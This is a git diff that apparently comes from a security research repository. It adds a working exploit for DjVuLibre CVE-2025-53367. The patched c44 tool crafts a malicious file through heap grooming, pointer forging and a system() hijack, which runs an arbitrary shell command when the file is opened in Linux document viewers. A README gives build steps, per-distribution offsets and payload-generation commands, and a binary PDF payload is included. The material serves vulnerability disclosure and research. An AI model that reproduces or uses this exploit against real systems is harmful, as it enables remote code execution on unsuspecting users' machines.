write_H_even(packer, 0x0, 0x0); ++ write_H_even(packer, 0x0, 0x0); ++ write_H_even(packer, 0x0, 0x0); ++ write_V0(packer); ++ write_V0(packer); ++ write_V0(packer); ++ write_H_odd(packer, 0x0, stop); // stop ++ lineno++; ++} ++ ++// This overwrites jimg->blits.data and also modifies the size field ++// immediately above it. This operation is a bit tricky because the ++// data field is immediately preceded by the traits field, which I ++// cannot overwrite. ++static void modify_jimg_blits(BitPacker &packer, size_t &lineno, ++ uint16_t field_offset, uint16_t dst, ++ uint16_t minlo, uint16_t maxhi, uint16_t lobound, ++ uint16_t hibound) { ++ modify_prevruns_relative(packer, lineno, distance_jimg_to_dcd - field_offset, ++ 0x40000); ++ ++ // Copy pointer to &prevruns to jimg->blits.data, but with zeros ++ // below it so that I can copy it back out and modify it. ++ write_H_even(packer, 0x0, 0x0); ++ write_V0(packer); ++ write_V0(packer); ++ write_V0(packer); ++ write_H_odd(packer, 0x0, 0x40000); // stop ++ lineno++; ++ ++ // Copy pointer back to dcd, where I can modify it. It is stored at ++ // &glineruns + 0x4. ++ write_H_even(packer, 0x0, 0x0); ++ write_V0(packer); ++ write_V0(packer); ++ write_V0(packer); ++ write_H_odd(packer, 0x0, 0x40000); // stop ++ lineno++; ++ ++ // skip line ++ write_stop(packer, lineno, 0x40000); ++ ++ // Overwrite bottom two bytes of the pointer. ++ write_VL1(packer); ++ write_H_odd(packer, 0x0, 0x40000 | dst); // stop ++ lineno++; ++ ++ // Copy pointer to jimg properly this time. ++ write_P(packer); ++ write_V0(packer); ++ write_V0(packer); ++ write_V0(packer); ++ ++ // Overwrite size fields ++ write_H_odd(packer, 0x0, minlo); // data{6,7}, minlo{0,1} ++ write_H_odd(packer, 0x0, maxhi); // minlo{2,3}, maxhi{0,1} ++ write_H_odd(packer, 0x0, lobound); // maxhi{2,3}, lobound{0,1} ++ write_H_odd(packer, 0x0, hibound); // lobound{2,3}, hibound{0,1} ++ write_H_odd(packer, 0x0, 0x0); // hibound{2,3}, reproduce_old_bug ++ ++ // Need to be precise with the stop condition because I haven't left ++ // a prefix that can be overwritten, so I can't let it rewind. So I ++ // need to add just enough to a0 that it will only just overflow ++ // past 0x30000. Luckily I know the exact uint16_t values that I've ++ // written to everything except data{2,3} and data{4,5}. And I also ++ // know that those two values are non-zero. ++ uint16_t knowntotal = dst + minlo + maxhi + lobound + hibound; ++ write_H_odd(packer, 0x0, 0x10000 - knowntotal); // stop ++ // Total value written so far is 0x10000 + data{2,3} + data{4,5}, so ++ // I know that: 0x10002 <= a0 <= 0x2fffe. Therefore, this will cause ++ // a stop that won't rewind: ++ write_H_odd(packer, 0xffff, 0xffff); // stop ++ lineno++; ++} ++ ++static void forge_pointer(BitPacker &packer, size_t &lineno, uint16_t p, ++ uint16_t target) { ++ modify_prevruns(packer, lineno, p - 4, 0x40000); ++ ++ write_H_even(packer, 0x0, 0x0); ++ write_V0(packer); ++ write_V0(packer); ++ write_V0(packer); ++ write_H_odd(packer, 0x0, 0x40000); // stop ++ lineno++; ++ ++ // skip line ++ write_stop(packer, lineno, 0x40000); ++ ++ // Overwrite bottom two bytes of the pointer. ++ write_VL1(packer); ++ write_H_odd(packer, 0x0, 0x40000 | target); // stop ++ lineno++; ++} ++ ++// This modifies fake_bitmap->gbytes_data, so that fake_bitmap will get ++// freed at the end of the pass. This also wipes bytes_data, but it ++// isn't used so that doesn't matter. ++static void prepare_fake_bitmap_for_reuse(BitPacker &packer, size_t &lineno) { ++ uint16_t p = offsetof_fake_bitmap + offsetof_bytes_data; ++ modify_prevruns(packer, lineno, p, 0x40000); ++ write_VL1(packer); ++ write_H_odd(packer, 0x0, 0x0); ++ write_H_odd(packer, 0x0, 0x40000 | offsetof_fake_bytes_data); ++ lineno++; ++ ++ // Forge a pointer to fake_bitmap. ++ forge_pointer(packer, lineno, offsetof_fake_bytes_data, offsetof_fake_bitmap); ++} ++ ++// Zero final two bytes of grle and go all the way to the first two ++// bytes of grlerows. grlerows should point at offsetof_fake_rlerows. ++static void prepare_fake_bitmap_grlerows(BitPacker &packer, size_t &lineno) { ++ uint16_t p = offsetof_fake_bitmap + offsetof_rle; ++ ++ modify_prevruns(packer, lineno, p + 14, 0x40000); ++ for (p = offsetof_grle + 0x6; p < offsetof_grlerows - 2; p += 4) { ++ write_H_even(packer, 0x0, 0x0); ++ } ++ write_H_even(packer, 0x0, 0x40000 | offsetof_fake_rlerows); // stop ++ lineno++; ++} ++ ++// This prepares the fake bitmap so that this memcpy will get ++// called: ++// ++// https://sourceforge.net/p/djvu/djvulibre-git/ci/42029c33b2fb25bc1fa98c80b2be83a2fa23cce1/tree/libdjvu/GBitmap.cpp#l1236 ++// ++// The source pointer for the memcpy needs to be copied to rle after ++// this function finishes. dst is the destination of the memcpy. dst ++// needs to point to a fake chunk, which will get freed and then ++// immediately reallocated. size is the number of bytes that will be ++// memcpy'd, which much match the size of the fake chunk at dst. ++static void prepare_fake_bitmap_for_memcpy(BitPacker &packer, size_t &lineno, ++ uint16_t dst, uint16_t size) { ++ // Forge a pointer to dst in fake_rlerows. ++ forge_pointer(packer, lineno, offsetof_fake_rlerows, dst); ++ ++ // Modify rlelength ++ modify_prevruns(packer, lineno, offsetof_fake_bitmap + offsetof_rlelength - 4, ++ 0x40000); ++ write_H_even(packer, 0x0, 0x0); ++ write_H_even(packer, size, 0x40000); // stop ++ lineno++; ++} ++ ++// Helper for create_fake_chunks(). ++static void create_fake_chunk_body(BitPacker &packer, size_t &lineno, ++ uint16_t &offset, uint16_t size) { ++ const uint16_t end = offset + size + 0x10; ++ write_H_even(packer, size + 0x15, 0x0); ++ offset += 4; ++ while (offset < end) { ++ write_H_even(packer, 0x0, 0x0); ++ offset += 4; ++ } ++} ++ ++// Create some fake malloc chunks at the specified offset. ++static void create_fake_chunks(BitPacker &packer, size_t &lineno, ++ uint16_t offset, ++ const std::vector &sizes, ++ uint32_t stop) { ++ // Reverse an extra 4 bytes because they'll get zeroed at the end of the line. ++ offset -= 0xc; ++ modify_prevruns(packer, lineno, offset, stop); ++ ++ write_H_even(packer, 0x0, 0x0); ++ offset += 4; ++ ++ // create n chunks. ++ size_t n = sizes.size(); ++ for (size_t i = 0; i < n; i++) { ++ create_fake_chunk_body(packer, lineno, offset, sizes[i]); ++ } ++ create_fake_chunk_body(packer, lineno, offset, 0x10); ++ write_H_even(packer, 0x25, stop); // stop ++ lineno++; ++} ++ ++// Write the shell command string. ++static void write_command(BitPacker &packer, size_t &lineno, uint16_t dst, ++ const char *cmd) { ++ // Sum the uint16_t values so that I can set the width to the correct value. ++ size_t n = strlen(cmd); ++ uint32_t total = 0; ++ ++ for (size_t i = 0; i < n; i += 4) { ++ uint16_t p[2] = {0, 0}; ++ memcpy(p, &cmd[i], std::min(sizeof(p), n - i)); ++ total += p[0] + p[1]; ++ } ++ ++ // Add 1 to the total to use as a stop value. ++ total++; ++ ++ // Need to modify width manually because it needs a bigger ++ // stop value than usual. ++ uint32_t stop = ((total >> 16) + 2) << 16; ++ // Point prevruns at dcd. ++ modify_prevruns_relative(packer, lineno, 0, 0x40000); ++ for (size_t i = 0; i < offsetof_dcd_width; i += 4) { ++ write_H_even(packer, 0, 0); ++ } ++ write_H_even(packer, total & 0xffff, stop | (total >> 16)); ++ lineno++; ++ ++ modify_prevruns(packer, lineno, dst, stop); ++ for (size_t i = 0; i < n; i += 4) { ++ uint16_t p[2] = {0, 0}; ++ memcpy(p, &cmd[i], std::min(sizeof(p), n - i)); ++ write_H_even(packer, p[0], p[1]); ++ } ++ ++ write_H_even(packer, 0, 1); // stop ++ lineno++; ++ ++ // reset width ++ modify_prevruns_relative(packer, lineno, 0, stop); ++ for (size_t i = 0; i < offsetof_dcd_width; i += 4) { ++ write_H_even(packer, 0, 0); ++ } ++ write_H_even(packer, 0x0, stop | 0x3); ++ lineno++; ++} ++ ++static void chunk_Smmr(IFFByteStream &iff, ++ const uint16_t distance_traits_to_strtol, ++ const uint16_t distance_strtol_to_system, ++ const char *command) { ++ iff.put_chunk("Smmr"); ++ uint8_t magic[4] = {'M', 'M', 'R', '\0'}; ++ iff.get_bytestream()->write(magic, sizeof(magic)); ++ ++ // This choice of width will allocate a chunk of size 0x220, which is ++ // waiting in the tcache thanks to the feng shui phase which just ++ // happened. It means that dcd->lineruns will get allocated immediately ++ // below dcd in memory, so I can use the buffer overflow to corrupt dcd. ++ const uint16_t width = (0x10 * 0x21) / 2; ++ ++ // `height` is the number of lines. It needs to be bigger than the number ++ // of steps in the exploit. For example, it gets decremented every time ++ // write_stop is called. It is also used in the calculation of ++ // `blocksize`. ++ const uint16_t height = 100 * 22; ++ const uint16_t blocksize = ++ std::min(500, std::max(64, std::max(width / 17, height / 22))); ++ const uint16_t blocksperline = (width + blocksize - 1) / blocksize; ++ ++ iff.get_bytestream()->write16(width); // width ++ iff.get_bytestream()->write16(height); // height ++ ++ uint8_t bitbuf[0x20000]; ++ BitPacker packer(bitbuf, sizeof(bitbuf)); ++ size_t lineno = 0; ++ uint16_t p = 0; ++ ++ // Pass 0 ++ lineno = 0; ++ ++ // skip ++ firstrun(packer, lineno, width, blocksize, blocksperline); ++ ++ overwrite_width(packer, 0x0); ++ write_stop(packer, lineno, 0x40000); ++ ++ create_write_what_where_gadget(packer, lineno); ++ ++ // Clean the memory in the scratch area. ++ wipe_bytes_at_dst(packer, lineno, offsetof_scratch_area, ++ offsetof_scratch_area_end - offsetof_scratch_area, 0x40000); ++ ++ make_backup_ptr(packer, lineno); ++ ++ // Copy arena pointer components. ++ copy_uint16(packer, lineno, offsetof_dcd_ptr_backup + 2, arena_ptrbytes_2_3); ++ copy_uint16(packer, lineno, offsetof_dcd_ptr_backup + 4, arena_ptrbytes_4_5); ++ ++ // The backup pointer got trashed by copy_uint16, so build it again. ++ make_backup_ptr(packer, lineno); ++ ++ std::vector fake_chunk_sizes = {sizeof_GBitmap, sizeof_fake_chunk, ++ sizeof_fake_chunk}; ++ create_fake_chunks(packer, lineno, offsetof_fake_bitmap, fake_chunk_sizes, ++ 0x40000); ++ ++ // Overwrite jimg->blits.data and tinker with its size fields so ++ // that it will get reallocated at the end of this pass. I'll use it ++ // to free fake_bitmap so that it will get allocated on the next ++ // pass. ++ modify_jimg_blits(packer, lineno, offsetof_blits_data, offsetof_fake_bitmap, ++ 0, 4, 0, 4); ++ ++ // Point prevruns somewhere safe. ++ modify_prevruns(packer, lineno, offsetof_scratch_area, 0x40000); ++ ++ // padding to finish the pass ++ while (lineno < blocksize) { ++ write_stop(packer, lineno, 0x30000 | lineno); ++ } ++ ++ // Pass 1 ++ lineno = 0; ++ ++ // skip ++ write_stop(packer, lineno, 0x30002); ++ ++ prepare_fake_bitmap_for_reuse(packer, lineno); ++ ++ prepare_fake_bitmap_grlerows(packer, lineno); ++ ++ prepare_fake_bitmap_for_memcpy(packer, lineno, offsetof_fake_chunk1, ++ sizeof_fake_chunk); ++ ++ // Write a pointer to jimg to fake_bitmap->rle, so that the memcpy will ++ // copy the contents of jimg to fake_chunk, where it's easier to work with ++ // because it's at a fixed offset. ++ modify_prevruns(packer, lineno, offsetof_fake_bitmap + offsetof_rle - 4, ++ 0x40000); ++ ++ // Calculate the address of jimg relative to the address stored in ++ // dcd.prevruns. ++ write_H_even(packer, 0x0, ++ distance_jimg_to_dcd + offsetof_dcd_prevruns - 0x10); ++ write_V0(packer); ++ write_V0(packer); ++ write_V0(packer); ++ // Overwrite bottom bytes of grle so that it points at fake_bitmap->bytes. ++ write_H_odd(packer, 0x40000, offsetof_fake_bitmap + offsetof_bytes); // stop ++ lineno++; ++ ++ // Point prevruns somewhere safe. ++ modify_prevruns(packer, lineno, offsetof_scratch_area, 0x40000); ++ ++ // padding to finish the pass ++ while (lineno < blocksize) { ++ write_stop(packer, lineno, 0x30000 | lineno); ++ } ++ ++ // Pass 2 ++ lineno = 0; ++ ++ // skip ++ write_stop(packer, lineno, 0x30002); ++ ++ // Split the traits pointer into separate components, because I ++ // need to use it twice and it'll get trashed if I use pointer_add ++ // on it directly. ++ p = offsetof_fake_chunk1 + offsetof_blits_traits; ++ copy_uint16(packer, lineno, p + 0, traits_ptrbytes_0_1); ++ copy_uint16(packer, lineno, p + 2, traits_ptrbytes_2_3); ++ copy_uint16(packer, lineno, p + 4, traits_ptrbytes_4_5); ++ ++ // Restore the traits pointer in its original location. ++ copy_uint16(packer, lineno, traits_ptrbytes_0_1, p + 0); ++ copy_uint16(packer, lineno, traits_ptrbytes_2_3, p + 2); ++ copy_uint16(packer, lineno, traits_ptrbytes_4_5, p + 4); ++ ++ prepare_fake_bitmap_for_reuse(packer, lineno); ++ ++ prepare_fake_bitmap_grlerows(packer, lineno); ++ ++ prepare_fake_bitmap_for_memcpy(packer, lineno, offsetof_fake_chunk2, ++ sizeof_fake_chunk); ++ ++ // Reconstruct the traits pointer in fake_bitmap->rle. ++ p = offsetof_fake_bitmap + offsetof_rle; ++ copy_uint16(packer, lineno, traits_ptrbytes_0_1, p + 0); ++ copy_uint16(packer, lineno, traits_ptrbytes_2_3, p + 2); ++ copy_uint16(packer, lineno, traits_ptrbytes_4_5, p + 4); ++ ++ // Reconstruct grle ++ p = offsetof_fake_bitmap + offsetof_grle; ++ modify_prevruns(packer, lineno, p - 2, 0x40000); ++ write_H_even(packer, 0x0, offsetof_fake_bitmap + offsetof_bytes); ++ write_H_even(packer, 0xffff - offsetof_fake_bitmap + offsetof_bytes, 0xaaab); ++ write_H_even(packer, 0xaaab, 0xaaab); ++ lineno++; ++ ++ copy_uint16(packer, lineno, arena_ptrbytes_2_3, p + 2); ++ copy_uint16(packer, lineno, arena_ptrbytes_4_5, p + 4); ++ ++ modify_prevruns(packer, lineno, p + 6, 0x40000); ++ write_stop(packer, lineno, 0x40000); ++ ++ // Point prevruns somewhere safe. ++ modify_prevruns(packer, lineno, offsetof_scratch_area, 0x40000); ++ ++ // padding to finish the pass ++ while (lineno < blocksize) { ++ write_stop(packer, lineno, 0x30000 | lineno); ++ } ++ ++ // Pass 3 ++ lineno = 0; ++ ++ // skip ++ write_stop(packer, lineno, 0x30002); ++ ++ prepare_fake_bitmap_for_reuse(packer, lineno); ++ ++ prepare_fake_bitmap_grlerows(packer, lineno); ++ ++ // fake chunk 1 currently contains a copy of jimg, which I don't ++ // need anymore after this pass, so it can be used as the memcpy ++ // destination. ++ prepare_fake_bitmap_for_memcpy(packer, lineno, offsetof_fake_chunk1, ++ sizeof_fake_chunk); ++ ++ pointer_add(packer, lineno, offsetof_fake_chunk1 + offsetof_blits_traits, ++ offsetof_fake_bitmap + offsetof_rle, ++ distance_traits_to_strtol - 0x10); ++ ++ // Reconstruct grle ++ p = offsetof_fake_bitmap + offsetof_grle; ++ modify_prevruns(packer, lineno, p - 2, 0x40000); ++ write_H_even(packer, 0x0, offsetof_fake_bitmap + offsetof_bytes); ++ write_H_even(packer, 0xffff - offsetof_fake_bitmap + offsetof_bytes, 0xaaab); ++ write_H_even(packer, 0xaaab, 0xaaab); ++ lineno++; ++ ++ copy_uint16(packer, lineno, arena_ptrbytes_2_3, p + 2); ++ copy_uint16(packer, lineno, arena_ptrbytes_4_5, p + 4); ++ ++ modify_prevruns(packer, lineno, p + 6, 0x40000); ++ write_stop(packer, lineno, 0x40000); ++ ++ // Point prevruns somewhere safe. ++ modify_prevruns(packer, lineno, offsetof_scratch_area, 0x40000); ++ ++ // padding to finish the pass ++ while (lineno < blocksize) { ++ write_stop(packer, lineno, 0x30000 | lineno); ++ } ++ ++ // Pass 4 ++ lineno = 0; ++ ++ // skip ++ write_stop(packer, lineno, 0x30002); ++ ++ // Build a fake traits. I've already memcpy'd the traits to the ++ // fake_chunk2, so I just need to overwrite the fini field with ++ // a pointer to system. ++ uint16_t faketraits = offsetof_fake_chunk2; ++ ++ // A pointer to __GI___isoc23_strtol is currently stored at fake_chunk1 + ++ // 0x10. Add an offset to get the address of system and write it into the fini ++ // field of the fake traits. ++ pointer_add(packer, lineno, offsetof_fake_chunk1 + 0x10, faketraits + 0x20, ++ distance_strtol_to_system); ++ ++ // zero top two bytes of the pointer ++ modify_prevruns(packer, lineno, faketraits + 0x26, 0x40000); ++ write_stop(packer, lineno, 0x40000); ++ ++ write_command(packer, lineno, offsetof_command, command); ++ ++ modify_jimg_blits(packer, lineno, offsetof_blits_traits, faketraits, 0, 0, 0, ++ 0); ++ ++ // Point jimg->blits.data at the command string and modify the size ++ // fields so that jimg->blits.traits->fini() will get called on it. ++ modify_jimg_blits(packer, lineno, offsetof_blits_data, offsetof_command, 0, 0, ++ 2, 0); ++ ++ // Point prevruns somewhere safe. ++ modify_prevruns(packer, lineno, offsetof_scratch_area, 0x40000); ++ ++ // padding to finish the pass ++ while (lineno < blocksize) { ++ write_stop(packer, lineno, 0x30000 | lineno); ++ } ++ ++ iff.get_bytestream()->write(bitbuf, packer.byteoffset()); ++ ++ iff.close_chunk(); ++} ++ ++// Make a comment string of a specific length by repeating the message. ++std::string mkcomment(const char *msg, size_t size) { ++ const size_t msglen = strlen(msg); ++ std::string s; ++ s.reserve(size); ++ while (s.size() + msglen <= size) { ++ s += msg; ++ } ++ while (s.size() + 1 <= size) { ++ s += '\n'; ++ } ++ return s; ++} ++ ++static void create_photo_djvu_file(IFFByteStream &iff, ++ const uint16_t distance_traits_to_strtol, ++ const uint16_t distance_strtol_to_system, ++ const char *command) { + // Prepare info chunk +- GP ginfo=DjVuInfo::create(); +- DjVuInfo &info=*ginfo; +- info.width = w; +- info.height = h; +- info.dpi = (flag_dpi>0 ? flag_dpi : 100); +- info.gamma = (flag_gamma>0 ? flag_gamma : 2.2); ++ GP ginfo = DjVuInfo::create(); ++ DjVuInfo &info = *ginfo; ++ info.width = 200; ++ info.height = 200; ++ info.dpi = 100; ++ info.gamma = 2.2; + // Write djvu header and info chunk + iff.put_chunk("FORM:DJVU", 1); + iff.put_chunk("INFO"); + info.encode(*iff.get_bytestream()); ++ { ++ char txt[4096]; ++ memset(txt, 0, sizeof(txt)); ++ strcpy(txt, "kevwozere"); ++ iff.get_bytestream()->write(txt, sizeof(txt)); ++ } + iff.close_chunk(); +- // Write all chunks +- int flag = 1; +- for (int i=0; flag && i gd = JB2Dict::create(); ++ JB2Dict &d = *gd; ++ std::vector comments; ++ size_t comment_idx = 0; ++ d.encode_shape_cb = [&d, &comments, &comment_idx]() { ++ std::string& c = comments[comment_idx++]; ++ d.comment = c.c_str(); ++ }; ++ ++ for (size_t i = 0; i < 0x9; i++) { ++ for (size_t j = 0xb; j > 1; j--) { ++ comments.push_back(""); ++ // Total size will be 16*j-4, so it will allocate ++ // a chunk of size 16*(j+1). ++ djbz_bitmap(d, 3, 1008, (j*0x10 - 0x17)/3 + 1); ++ } ++ } ++ ++ for (size_t i = 0; i < 2; i++) { ++ comments.push_back(""); ++ djbz_bitmap(d, 3, 1008, 0xae); // 0x220 tcache chunk ++ } ++ ++ // The portcaster is a nuisance because it allocates a bunch of ++ // small chunks. The exact amount of memory that it allocates ++ // seems to be non-deterministic, so it could ruin all my ++ // work. Luckily the timing of when it runs is completely ++ // deterministic: it gets triggered every 256 bytes. It gets ++ // called several times during the decoding of the large comment ++ // below, but I have tuned things so that it won't get called ++ // again before the end of this Djbz segment. ++ ++ // The purpose of this large comment is to create a hole in memory ++ // where jimg, prevruns, lineruns, and dcd will get allocated. I ++ // allocate this comment, then plug any other holes in memory ++ // before freeing it so that it will get used for those ++ // allocations. ++ comments.push_back(mkcomment("kevwozere101\n", 0xbdf)); ++ djbz_bitmap(d, 3, 0xff00, 0x2a); ++ ++ // Plug holes. Use a very large bitmap that compresses to a small ++ // size so that the temporary mallocs that happen during parsing ++ // get mmapped and won't interfere with the thread-local arena. ++ for (size_t i = 0; i < 0x10; i++) { ++ comments.push_back(""); ++ djbz_bitmap(d, 3, 0xff00, 0x2a); ++ comments.push_back(""); ++ djbz_bitmap(d, 3, 0xff00, 1); + } ++ ++ comments.push_back(mkcomment("\n", 0x98)); // jimg ++ djbz_bitmap(d, 3, 0xff00, 1); ++ ++ comments.push_back(mkcomment("\n", 0x208)); // prevruns, lineruns ++ djbz_bitmap(d, 3, 0xff00, 1); ++ ++ comments.push_back(mkcomment("\n", 0x78)); ++ djbz_bitmap(d, 3, 0xff00, 1); ++ ++ comments.push_back(mkcomment("kevwozere102\n", 0x17)); ++ ++ d.encode(iff.get_bytestream()); ++ } ++ iff.close_chunk(); ++ ++ chunk_Smmr(iff, distance_traits_to_strtol, distance_strtol_to_system, ++ command); ++ + // Close djvu chunk + iff.close_chunk(); + } + ++// parse an offset like 0x1010 ++uint16_t parse_offset(const char *arg) { ++ unsigned long n; ++ if (strncmp(arg, "0x", 2) == 0) { ++ // hex ++ n = strtoul(arg + 2, 0, 16); ++ } else { ++ // dec ++ n = strtoul(arg, 0, 10); ++ } ++ if (n >= 0x10000) { ++ G_THROW(ERR_MSG("offset is too big for a uint16_t")); ++ } ++ return n; ++} + +-int +-main(int argc, char **argv) +-{ ++int main(int argc, char **argv) { + DJVU_LOCALE; +- GArray dargv(0,argc-1); +- for(int i=0;i gibs=ByteStream::create(g().pnmurl,"rb"); +- ByteStream &ibs=*gibs; +- char prefix[16]; +- memset(prefix, 0, sizeof(prefix)); +- if (ibs.readall((void*)prefix, sizeof(prefix)) < sizeof(prefix)) +- G_THROW( ERR_MSG("c44.failed_pnm_header") ); +-#ifdef DEFAULT_JPEG_TO_HALF_SIZE +- // Default specification for jpeg files +- // This is disabled because +- // -1- jpeg detection is unreliable. +- // -2- quality is very difficult to predict. +- if(prefix[0]!='P' &&prefix[0]!='A' && prefix[0]!='F' && +- !flag_mask && !flag_bpp && !flag_size && +- !flag_slice && !flag_decibel) +- { +- parse_size("10,20,30,50"); +- flag_size = flag_percent = 1; +- } +-#endif +- // Change percent specification into size specification +- if (flag_size && flag_percent) +- for (int i=0; isize())/ 100; +- flag_percent = 0; +- // Load images +- int w = 0; +- int h = 0; +- ibs.seek(0); +- GP iw; +- // Check color vs gray +- if (prefix[0]=='P' && (prefix[1]=='2' || prefix[1]=='5')) +- { +- // gray file +- GP gibm=GBitmap::create(ibs); +- GBitmap &ibm=*gibm; +- w = ibm.columns(); +- h = ibm.rows(); +- iw = IW44Image::create_encode(ibm, getmask(w,h)); +- } +- else if (!GStringRep::cmp(prefix,"AT&TFORM",8) || +- !GStringRep::cmp(prefix,"FORM",4)) +- { +- char *s = (prefix[0]=='F' ? prefix+8 : prefix+12); +- GP giff=IFFByteStream::create(gibs); +- IFFByteStream &iff=*giff; +- const bool color=!GStringRep::cmp(s,"PM44",4); +- if (color || !GStringRep::cmp(s,"BM44",4)) +- { +- iw = IW44Image::create_encode(IW44Image::COLOR); +- iw->decode_iff(iff); +- w = iw->get_width(); +- h = iw->get_height(); +- } +- else +- G_THROW( ERR_MSG("c44.unrecognized") ); +- // Check that no mask has been specified. +- if (! g().mskurl.is_empty()) +- G_THROW( ERR_MSG("c44.failed_mask") ); +- } +- else // just for kicks, try jpeg. +- { +- // color file +- const GP gipm(GPixmap::create(ibs)); +- GPixmap &ipm=*gipm; +- w = ipm.columns(); +- h = ipm.rows(); +- iw = IW44Image::create_encode(ipm, getmask(w,h), arg_crcbmode); +- } +- // Call destructor on input file +- gibs=0; +- +- // Perform compression PM44 or BM44 as required +- if (iw) +- { +- g().iw4url.deletefile(); +- GP iff = +- IFFByteStream::create(ByteStream::create(g().iw4url,"wb")); +- if (flag_crcbdelay >= 0) +- iw->parm_crcbdelay(flag_crcbdelay); +- if (flag_dbfrac > 0) +- iw->parm_dbfrac((float)flag_dbfrac); +- int nchunk = resolve_quality(w*h); +- // Create djvu file +- create_photo_djvu_file(*iw, w, h, *iff, nchunk, g().parms); +- } +- } +- G_CATCH(ex) +- { +- ex.perror(); +- exit(1); ++ GArray dargv(0, argc - 1); ++ for (int i = 0; i < argc; ++i) ++ dargv[i] = GNativeString(argv[i]); ++ G_TRY { ++ if (argc != 5) { ++ G_THROW(ERR_MSG("usage: ")); + } ++ ++ // Distance from jimg->blits.traits to __GI___isoc23_strtol pointer ++ const uint16_t distance_traits_to_strtol = parse_offset(argv[1]); ++ ++ // Distance from &__GI___isoc23_strtol to &system ++ const uint16_t distance_strtol_to_system = parse_offset(argv[2]); ++ ++ GURL iw4url = GURL::Filename::UTF8(dargv[4]); ++ iw4url.deletefile(); ++ GP iff = ++ IFFByteStream::create(ByteStream::create(iw4url, "wb")); ++ // Create djvu file ++ create_photo_djvu_file(*iff, distance_traits_to_strtol, ++ distance_strtol_to_system, argv[3]); ++ } ++ G_CATCH(ex) { ++ ex.perror(); ++ exit(1); ++ } + G_ENDCATCH; + return 0; + } diff --git a/SecurityExploits/DjVuLibre/MMRDecoder_scanruns_CVE-2025-53367/README.md b/SecurityExploits/DjVuLibre/MMRDecoder_scanruns_CVE-2025-53367/README.md index ee17e55..48edc34 100644 --- a/SecurityExploits/DjVuLibre/MMRDecoder_scanruns_CVE-2025-53367/README.md +++ b/SecurityExploits/DjVuLibre/MMRDecoder_scanruns_CVE-2025-53367/README.md @@ -1,11 +1,56 @@ # Proof of concept for DjVuLibre CVE-2025-53367 -At this time, we are only sharing @antonio-morales's original -fuzzer-generated poc, so that people can quickly test whether they're -running a vulnerable version of DjVuLibre. This poc only causes the -DjVuLibre library to crash. We are delaying publication of our more -sophisticated poc, which is able to bypass ASLR and gain code -execution. +This poc uses CVE-2025-53367 to achieve code execution in the +default PDF viewer on many Linux distributions: +[evince](https://gitlab.gnome.org/GNOME/evince) or +[papers](https://gitlab.gnome.org/GNOME/papers). + +Because the DjVuLibre file format is quite complicated, it was +easiest to create the poc by reusing the DjVuLibre codebase, +and modifying one of its tools to generate the poc file. So to +build the poc, you need to clone the official DjVuLibre repo +and then apply a patch: + +```bash +git clone https://git.code.sf.net/p/djvu/djvulibre-git DjVuLibre-poc-CVE-2025-53367 +cd DjVuLibre-poc-CVE-2025-53367 +git checkout 4a285e8da5cd9a2a6b296242a952ee96e519280d +git apply ../DjVuLibre-poc-CVE-2025-53367.diff +``` + +Build it like this: + +```bash +./autogen.sh --prefix=`pwd`/install +make install +``` + +Now generate the poc file like this: + +```bash +./install/bin/c44 0x1010 0x4770 "google-chrome https://www.youtube.com/watch?v=dQw4w9WgXcQ" plucky.pdf # Ubuntu 25.04 +./install/bin/c44 0x1010 0x4360 "google-chrome https://www.youtube.com/watch?v=dQw4w9WgXcQ" noble.pdf # Ubuntu 24.04 +``` + +The first two parameters are offsets that need to be tuned for +different Linux distributions. The first is the distance between two +pointers in `libdjvulibre.so` and the second is the distance between +two pointers in `libc.so`. The third parameter is the command string +that will be passed to `system()`. Note that evince/papers run under +an [AppArmor](https://apparmor.net/) profile which will block some +commands. It's not super-restrictive, so there are ways of getting +past it. You can use the `aa-exec` tool to experiment with what's +possible: + +```bash +aa-exec -d -v -p /usr/bin/papers /bin/bash -c "echo 1337 > ~/pwned.txt" +``` + +## Original fuzzer-generated poc + +We published this (much simpler) version of the poc sooner, to help +people quickly test whether they're running a vulnerable version of +DjVuLibre.This poc only causes the DjVuLibre library to crash. [Fuzzer-generated poc file](./fuzzer-poc.djvu) @@ -13,4 +58,5 @@ execution. * https://github.blog/security/vulnerability-research/cve-2025-53367-an-exploitable-out-of-bounds-write-in-djvulibre/ * https://www.openwall.com/lists/oss-security/2025/07/03/1 -* https://securitylab.github.com/advisories/GHSL-2025-055_DjVuLibre/ \ No newline at end of file +* https://securitylab.github.com/advisories/GHSL-2025-055_DjVuLibre/ +* https://github.com/kevinbackhouse/DjVuLibre-poc-CVE-2025-53367 (this same poc in a standalone git repo) diff --git a/SecurityExploits/DjVuLibre/MMRDecoder_scanruns_CVE-2025-53367/noble.pdf b/SecurityExploits/DjVuLibre/MMRDecoder_scanruns_CVE-2025-53367/noble.pdf new file mode 100644 index 0000000000000000000000000000000000000000..37c9f5f0036fee87b0b9c33ee19d0649db976324 GIT binary patch literal 82468 zcmeGl3sh8PdSGB+M#peLCCA5Tidg0%G@xb*LIld-70@)@&Pbp*A{tSvB`xCvsoWex z4aV#Miv%9sWl>tOhqQ`IrY8wdFdx{mER>{~naZBrd+z|k!2EL=?#%b!`a5%S9PhpV zf4~2GKZ9btVnXLdsYMR6JwxU!To4`^I!`2WlZh%tm7bzF(NKp~@vr=G&8zXr@gnjc zfdGL3fdGL3fdGL3fdGL3fdGL3fdGL3fdGNPuN49z+Spe`BFX8dYu~k;yjj|Ix9o{u zw#?AK|8w?vwQ^?NLx0|}#6Mwllm4Un!EZFme>{^nX~^%@2V)nU|620KK#$!cf~URM zvUA%zhRf?EvhiDY6gM6Hc2`^ei9FX?Bf?j-{`8L6A$Qx9JGG5dX8EV*FP@OTFQa%} zo1`@Jsold;T$eh29G(5+`j3OYaT&Z$adk%IvT0J^@R8edr!CQ?l;)O=|MUy$llbR- zl`rM4nI$_GGeo7jUlPCMS#9Wuxdq$5Zz(xB^5xK?RR?`NF7LT_{8aj=FEvL7KkoL? zR|}ih{L|o+bl_A}(T+x}xOb z#HR1I-KzGxGi+|QbZfkyq;T$u|6Y23tN!rk2lbbxGq6eH^b|yHhd61sv?1kZXH~? zY|jrbDn!pG4%DB2I;QCI-4CbT9^i7cXxNv^3$@Mj9{X-{?e*C|7mN$lE{I(9NOFqX zjM9Wwzmn}yZ&yF*{gXHOO5i|{fDi)!CrDViKgHwv+2;pW&H3wV{((W~P9G3Q%yFJQ z;KZWW1LtIZ{eIBDK7BXsaN+uWC)eJ}8t{x}!S?)5);U&Xq}Mu?9nu~8_N{-c-*v<3 z;qU!)($o^^`QIJfF*&kf!XG{e4f#YHxOesC60cEt((_4*u`d(_?%m=W7g13@!7#7h zR^4}vxbLI^m-}?Pi 